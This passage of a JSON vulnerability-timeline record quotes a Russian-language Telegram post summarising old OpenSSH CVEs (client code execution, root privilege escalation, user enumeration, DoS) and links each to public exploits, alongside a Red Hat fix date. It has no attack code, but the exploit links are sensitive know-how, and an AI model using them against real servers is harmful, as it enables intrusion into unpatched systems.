\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442 \u043d\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u0437\u0430\u0433\u043b\u044f\u043d\u0443\u0442\u044c \u043d\u0430 \u043f\u0430\u0440\u0443 \u043b\u0435\u0442 \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u0435 \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0447\u0435\u043c \u0435\u0449\u0435 \u043e\u043f\u0430\u0441\u043d\u044b \u0441\u0442\u0430\u0440\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 OpenSSH:\n\nCVE-2016-10009 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4 - \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c OpenSSH \u043d\u0430 \u041a\u041b\u0418\u0415\u041d\u0422\u0415 \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 (\u044f\u043a\u043e\u0431\u044b \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 PKCS11), \u0435\u0441\u043b\u0438 \u0443 \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437\u043e\u0431\u0440\u0430\u0437\u0438\u044f \u0435\u0441\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0436\u0435\u043b\u0430\u0435\u043c\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u041f\u0440\u0438\u043c\u0435\u0440 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438: https://www.exploit-db.com/exploits/40963/\n\nCVE-2016-10010 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4 - \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0440\u0443\u0442\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u0441\u043e\u043a\u0435\u0442\u0430\u043c \u0434\u043e\u043c\u0435\u043d\u0430 Unix, \u0435\u0441\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043e UsePrivilegeSeparation. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/40962.zip\n\n\u0410 \u0435\u0449\u0435 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 7.4 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u043b\u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u0432\u0435\u0440\u0441\u0438\u0438 1 SSH \u0438 \u0448\u0438\u0444\u0440\u043e\u0432 Blowfish, RC4 \u0438 3DES-CBC \u0438 RSA-\u043a\u043b\u044e\u0447\u0435\u0439 \u043a\u043e\u0440\u043e\u0447\u0435 1024 \u0431\u0438\u0442.\n\nCVE-2016-6210 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.3 - \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0442\u043e\u043c, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043b\u0438 \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c. \u0427\u0435\u0440\u0435\u0437 \u0440\u0430\u0437\u043d\u0438\u0446\u0443 \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0445\u0435\u0448\u0435\u0439 BLOWFISH \u0438 SHA256/SHA512. \u0421\u043a\u0440\u0438\u043f\u0442: https://www.exploit-db.com/exploits/40136/\n\nCVE-2016-6515 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.3 - \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e DoS: https://www.exploit-db.com/exploits/40888/\n\nCVE-2015-6565 - \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 6.8 \u0438 6.9 - \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0444\u0430\u0439\u043b\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 PTY. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442: https://www.exploit-db.com/exploits/45280/", "url": "https://t.me/antichat/2044", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2017-08-01T14:11:55Z", "date_only": false, "value": "2017-08-01T14:11:55+00:00", "kind": "other", "label": "Vendor fix", "source": "csaf_redhat \u00b7 RHSA-2017:2029", "record": "RHSA-2017:2029", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event", "linked_record": true}}}}
